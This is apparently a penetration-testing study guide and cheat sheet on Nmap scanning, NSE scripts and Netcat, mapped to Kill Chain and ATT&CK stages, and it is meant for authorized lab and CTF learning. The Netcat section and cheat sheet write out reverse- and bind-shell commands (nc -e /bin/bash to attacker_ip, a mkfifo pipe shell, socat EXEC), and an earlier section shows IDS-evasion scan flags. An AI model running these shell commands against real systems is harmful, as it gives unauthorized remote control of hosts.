

Nmap · NSE Scripts · Netcat — Active Network Recon & Exploitation Toolkit

Nmap is the foundation of active reconnaissance — where everything you've studied so far (WHOIS, DNS enum, Shodan, Google/GitHub dorking) was passive, Nmap is the point where you start directly touching a target's systems. NSE extends it into a lightweight enumeration/vulnerability framework, and Netcat is the general-purpose networking tool that picks up right where Nmap leaves off — banner grabbing, file transfer, and catching shells once you've actually found something exploitable.

PART 1: Nmap Fundamentals

1. What Nmap Does

Nmap ("Network Mapper") sends crafted packets to a target and interprets the responses to determine: which hosts are alive, which ports are open, what services/versions are running, and what operating system is likely in use. It's the single most-used tool in any pentester's recon phase.

2. Host Discovery

```
nmap -sn 192.168.1.0/24      # ping sweep - find live hosts, no port scan
nmap -sn 192.168.1.1-254    # range syntax
nmap -PR 192.168.1.0/24     # ARP ping (fast, reliable on local networks)
```

3. Scan Types

Flag	Scan Type	Notes
<code>-sS</code>	TCP SYN scan ("half-open")	Default for privileged users — fast, stealthier than full connect

Flag	Scan Type	Notes
<code>-sT</code>	TCP connect scan	Full 3-way handshake — used when SYN scan isn't possible (no root)
<code>-sU</code>	UDP scan	Slower, but necessary for DNS/SNMP/DHCP-type services
<code>-sA</code>	ACK scan	Maps firewall rulesets rather than open/closed ports
<code>-sV</code>	Version detection	Identifies exact software/version on open ports
<code>-O</code>	OS detection	Fingerprints the likely operating system
<code>-sC</code>	Default NSE scripts	Covered in depth in Part 2

```

nmap -sS target                # SYN scan (most common default)
nmap -sU -p 53,161 target      # UDP scan on specific ports
nmap -sV -O target             # version + OS detection combo

```

4. Port Specification

```

nmap -p 80 target              # single port
nmap -p 80,443,8080 target     # specific list
nmap -p 1-1000 target          # range
nmap -p- target                # all 65535 ports
nmap -F target                 # fast scan - top 100 common ports only
nmap --top-ports 20 target      # scan only the N most common ports

```

5. Timing and Performance

```

nmap -T0 target                # paranoid (slowest, most evasive - IDS evasion)
nmap -T1 target                # sneaky
nmap -T2 target                # polite

```

```
nmap -T3 target      # normal (default)
nmap -T4 target      # aggressive (common choice for CTF/lab
speed)
nmap -T5 target      # insane (fastest, most detectable/unrel
iable)
```

- **T4** is the practical default for lab/CTF environments where stealth doesn't matter and you want fast, reliable results.

6. Output Formats

```
nmap -oN scan.txt target      # normal (human-readable)
nmap -oX scan.xml target      # XML (parseable, feeds i
nto other tools)
nmap -oG scan.gnmap target    # grepable (legacy but st
ill handy for quick grep/awk)
nmap -oA scan_results target  # all three formats at on
ce, same base filename
```

7. Common Combos You'll Actually Use

```
# Fast initial sweep - what's alive, what's open on common
ports
nmap -sV -T4 -F target

# Full deep scan - every port, versions, default scripts, s
ave output
nmap -sV -sC -p- -T4 -oN full_scan.txt target

# Stealthier scan for evasion practice
nmap -sS -T2 -f target        # -f fragments packets

# UDP scan on common UDP services (often skipped, but shoul
dn't be)
nmap -sU --top-ports 20 target
```

8. Firewall/IDS Evasion Flags (Study-Level Awareness)

```

nmap -f target # fragment packets
nmap -D RND:10 target # decoy scan - hides
your real IP among fake ones
nmap --source-port 53 target # spoof source port
(some firewalls trust port 53 traffic)
nmap -Pn target # skip host discovery
(treat host as up, useful if ICMP is blocked)

```

- `Pn` in particular is one you'll use constantly in real engagements — many hosts block ICMP ping but still have open TCP ports, and without `Pn` Nmap may skip them entirely, assuming they're down.

PART 2: NSE — The Nmap Scripting Engine

1. What NSE Adds

- `sv` tells you *what's* running. NSE (via Lua scripts) goes further — vulnerability checks, default credential testing, deeper service enumeration, and even some exploitation. It turns Nmap from "a scanner" into a lightweight enumeration/vulnerability framework.

2. Script Categories

Category	Purpose
<code>auth</code>	Authentication bypass / default credential checks
<code>broadcast</code>	Discovers hosts by broadcasting on the local network
<code>brute</code>	Brute-force credential attacks against services
<code>default</code>	Safe, commonly useful scripts — run automatically with <code>-sC</code>
<code>discovery</code>	Enumerates accessible info (shares, users, DNS, etc.)
<code>dos</code>	Tests denial-of-service conditions — use carefully
<code>exploit</code>	Actively exploits a vulnerability
<code>external</code>	Sends data to external services (e.g., VirusTotal hash checks)
<code>fuzzer</code>	Sends malformed input to find bugs
<code>intrusive</code>	May crash services/be noisy — not run by default
<code>malware</code>	Checks for signs of malware/backdoor infection
<code>safe</code>	Won't crash services, minimal impact

Category	Purpose
<code>vuln</code>	Checks for specific known vulnerabilities
<code>version</code>	Assists with service/version detection

3. Basic Usage

```
nmap -sC target # run default scripts
nmap -sV -sC target # version detection + d
# default scripts (very common combo)
nmap --script=vuln target # vulnerability scan
nmap --script=safe target
nmap --script=discovery target
```

Specific script or wildcard:

```
nmap --script=http-title target
nmap --script=smb-os-discovery target
nmap --script="smb-*" target
```

Combining categories, excluding intrusive ones:

```
nmap --script="vuln,safe" target
nmap --script="not intrusive" target
```

Passing arguments:

```
nmap --script=http-brute --script-args userdb=users.txt,pas
sdb=pass.txt target
```

4. High-Value Scripts by Name

SMB (core to AD/Windows pentesting):

```
nmap --script=smb-os-discovery -p445 target
nmap --script=smb-enum-shares -p445 target
nmap --script=smb-enum-users -p445 target
```

```
nmap --script=smb-vuln-ms17-010 -p445 target # EternalBlue check
```

HTTP:

```
nmap --script=http-title -p80,443 target
nmap --script=http-enum -p80 target # finds common dirs/files
nmap --script=http-methods -p80 target # checks risky methods (PUT/DELETE)
```

FTP:

```
nmap --script=ftp-anon -p21 target # anonymous login check
```

SSL/TLS:

```
nmap --script=ssl-enum-ciphers -p443 target # weak/dep recated ciphers
nmap --script=ssl-cert -p443 target # certificate details
```

Broad vulnerability sweep:

```
nmap --script=vuln -p- target
```

5. Full Enumeration Example

```
nmap -sV -sC -p- --script="default,vuln" -oN full_scan.txt target
```

- `sV` (versions) + `sC` (default scripts) + `p-` (all ports) + `vuln` scripts — a reasonable "throw everything at it" first-pass scan for a new box, narrowing focus once results come back.

6. Finding Scripts Locally

```
ls /usr/share/nmap/scripts/ | grep smb
nmap --script-help=smb-vuln-ms17-010
```

Scripts live in `/usr/share/nmap/scripts/`, written in Lua — writing custom ones is a later-stage skill; knowing how to *find and apply* the right existing script is the higher-value early skill.

PART 3: Netcat

1. What It Is

Netcat (`nc`) is a minimal, general-purpose tool for reading/writing across TCP or UDP connections — the "Swiss Army knife of networking," used for banner grabbing, file transfer, chat, crude port scanning, and — most notably — **reverse and bind shells**. Variants worth knowing: original `nc`, `ncat` (Nmap project's modern rewrite with SSL/proxy support), and `socat` (more powerful, steeper learning curve).

2. Basic Modes

```
nc target_ip 80          # client mode - connect to a service
nc -lvp 4444             # listener mode
```

Flag	Meaning
<code>-l</code>	Listen mode
<code>-v</code>	Verbose
<code>-p</code>	Specify port
<code>-n</code>	Skip DNS resolution
<code>-u</code>	UDP instead of TCP
<code>-w</code>	Timeout (seconds)
<code>-z</code>	Zero-I/O mode (port scanning, no data sent)
<code>-e</code>	Execute a program on connect (often stripped from modern builds — security reason)

3. Banner Grabbing

```
nc -v target_ip 22
```

Connecting directly and reading the raw response confirms exact software/version (`SSH-2.0-OpenSSH_8.2p1`) — a good manual double-check when Nmap's `-sV` is inconclusive.

4. Crude Port Scanning

```
nc -zv target_ip 20-100
```

- `z` sends no data, just checks connection acceptance — Nmap does this far better, but worth knowing conceptually.

5. File Transfer

```
# Receiver
nc -lvp 4444 > received_file.txt
# Sender
nc target_ip 4444 < file_to_send.txt
```

Comes up constantly when moving a tool (like `linpeas.sh`) onto a box with no other transfer method available.

6. Reverse and Bind Shells

Reverse shell (target connects back to you — usually bypasses inbound firewall restrictions):

```
# Attacker (listener):
nc -lvp 4444
# Target (after code execution):
nc -e /bin/bash attacker_ip 4444
# If -e unsupported:
mkfifo /tmp/f; nc attacker_ip 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f
```

Bind shell (target listens, you connect in):

```
# Target:
nc -lvp 4444 -e /bin/bash
# Attacker:
nc target_ip 4444
```

Why reverse shells dominate real engagements: outbound connections are typically far less restricted than inbound ones, so a reverse shell usually slips past the firewall while a bind shell often gets blocked before you can connect in.

7. Other Practical Uses

```
nc -zv -w2 target_ip 443          # quick reachability/firewall test
nc -lvp 8080 | nc target_ip 80    # basic relay/piping
```

8. **ncat** — The Modern Replacement

```
ncat --ssl -lvp 4444              # SSL-encrypted listener
ncat --exec /bin/bash -lvp 4444   # reliable equivalent to nc -e
ncat --proxy proxy_ip:port target_ip 80 # connect through a proxy
```

Ships with Nmap, more consistently available across systems — worth defaulting to over classic **nc** where possible.

9. **socat** — Brief Mention

```
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
```

More powerful (bidirectional relays, SSL, broader protocol support) but steeper learning curve — "Netcat's more capable sibling" for later when **nc** / **ncat** aren't enough.

PART 4: Putting It All Together — A Practical Flow

```
# 1. Host discovery
nmap -sn 192.168.1.0/24

# 2. Fast initial sweep on a live host
nmap -sV -T4 -F target

# 3. Full deep scan with NSE
nmap -sV -sC -p- --script=vuln -T4 -oN full_scan.txt target

# 4. Manual banner grab to confirm/double-check a specific
service
nc -v target 21

# 5. Set up a listener before triggering a confirmed exploit
nc -lvp 4444

# 6. Catch the reverse shell on successful exploitation
# (this is the exact moment you move from Exploitation to
# Installation/C2 in Kill Chain terms)
```

5. Kill Chain / ATT&CK Mapping

Tool	Kill Chain Stage	MITRE ATT&CK
Nmap (core scanning)	Reconnaissance	T1046 (Network Service Discovery), T1595 (Active Scanning)
NSE (vuln / exploit scripts)	Reconnaissance → can bridge into Exploitation	T1595.002 (Active Scanning: Vulnerability Scanning)
Netcat (recon use)	Reconnaissance	Banner grabbing, T1046
Netcat (reverse/bind shell)	Installation, Command & Control	T1059 (Command and Scripting Interpreter), T1071 (Application Layer Protocol)

Important framing: everything from your theHarvester/Amass/Shodan sessions was *passive*. Nmap, NSE, and Netcat are **active** — they touch the target

directly, generate logs, and require explicit authorization before use against anything you don't own or aren't contracted to test.

Quick Reference Cheat Sheet

Nmap

```
nmap -sn 192.168.1.0/24          # host discovery
nmap -sV -T4 -F target          # fast common-port scan
nmap -sV -sC -p- -oN out.txt target # full deep scan
nmap -sU --top-ports 20 target    # UDP scan
nmap -Pn target                  # skip host discovery
(ICMP blocked)
```

NSE

```
nmap -sC target
nmap --script=vuln target
nmap --script=smb-vuln-ms17-010 -p445 target
nmap --script="not intrusive" target
ls /usr/share/nmap/scripts/
```

Netcat

```
nc -v target 80                # connect / banner grab
nc -lvp 4444                    # listener
nc -zv target 1-1000            # crude port scan
nc -lvp 4444 > file.txt         # receive file
nc -e /bin/bash attacker_ip 4444 # reverse shell
ncat --ssl -lvp 4444            # modern SSL-capable listener
```